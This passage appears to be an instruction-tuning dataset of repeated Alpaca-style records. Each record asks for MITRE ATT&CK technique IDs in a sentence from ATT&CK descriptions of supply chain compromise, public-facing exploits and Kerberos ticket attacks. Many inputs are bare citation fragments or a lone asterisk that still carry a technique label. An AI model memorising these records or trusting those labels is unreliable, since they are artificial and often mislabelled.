application software prior to receipt by a final consumer for the purpose of data or system compromise. ### Response: T1195.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.", "output": "T1195.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version. ### Response: T1195.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation:", "output": "T1195.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: ### Response: T1195.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Avast CCleaner3 2018)(Citation: Command Five SK 2011)", "output": "T1195.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ### Response: T1195.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise.", "output": "T1195.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. ### Response: T1195.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system.", "output": "T1195.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. ### Response: T1195.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.", "output": "T1195.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals. ### Response: T1195.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Supply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Supply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Replacement of legitimate software with modified versions\n*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Replacement of legitimate software with modified versions\n* ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sales of modified/counterfeit products to legitimate distributors\n*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sales of modified/counterfeit products to legitimate distributors\n* ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command Five SK 2011)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command Five SK 2011) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symantec Elderwood Sept 2012)(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symantec Elderwood Sept 2012)(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Avast CCleaner3 2018)(Citation: Command Five SK 2011)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network.", "output": "T1190", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. ### Response: T1190."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.", "output": "T1190", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. ### Response: T1190."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169)", "output": "T1190", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) ### Response: T1190."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).", "output": "T1190", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). ### Response: T1190."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container.", "output": "T1190", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. ### Response: T1190."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.", "output": "T1190", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies. ### Response: T1190."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation:", "output": "T1190", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: ### Response: T1190."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)", "output": "T1190", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) ### Response: T1190."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", "output": "T1190", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) ### Response: T1190."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation:", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service.", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation:", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation:", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation:", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016) ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This same behavior could be executed using service tickets captured from network traffic.(Citation:", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This same behavior could be executed using service tickets captured from network traffic.(Citation: ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.", "output": "T1558.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. ### Response: T1558.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", "output": "T1558.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003). ### Response: T1558.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002)", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017)", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002).", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014) ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The recovered encrypted data may be vulnerable to offline", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The recovered encrypted data may be vulnerable to offline ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Password Cracking](https://attack.mitre.org/techniques/T1110/002", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Password Cracking](https://attack.mitre.org/techniques/T1110/002 ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": ") attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation:", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stealthbits Cracking AS-REP Roasting Jun 2019)", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stealthbits Cracking AS-REP Roasting Jun 2019) ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, the adversary may send an AS-REQ message for each user.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, the adversary may send an AS-REQ message for each user. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation:", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015)", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources.", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets) ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The KDC service runs all on domain controllers that are part of an Active Directory domain.", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The KDC service runs all on domain controllers that are part of an Active Directory domain. ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT)", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is 